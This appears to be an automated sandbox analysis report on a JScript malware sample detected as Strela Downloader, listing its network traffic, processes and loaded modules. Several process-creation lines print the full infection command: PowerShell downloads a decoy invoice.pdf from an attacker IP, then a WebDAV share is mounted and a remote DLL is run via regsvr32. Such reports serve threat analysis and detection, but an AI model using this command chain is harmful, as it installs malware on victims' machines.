HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2177983889.00000162E5748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2234105480.00000137CE3BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247097797.00000137CE368000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247164723.00000137CE397000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2247248759.00000137CE3C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2235544851.00000137CE397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2247164723.00000137CE397000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2235544851.00000137CE397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/D
Source: net.exe, 00000007.00000002.2247164723.00000137CE397000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2235544851.00000137CE397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.2247097797.00000137CE368000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.3466559140.0000016D3EA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2235908909.0000016D3E770000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1444, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 122388091976711996.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1808:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlrz50go.w5u.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\122388091976711996.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1620,i,13840923630439036011,16229105474235318139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\212652703431053.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1620,i,13840923630439036011,16229105474235318139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
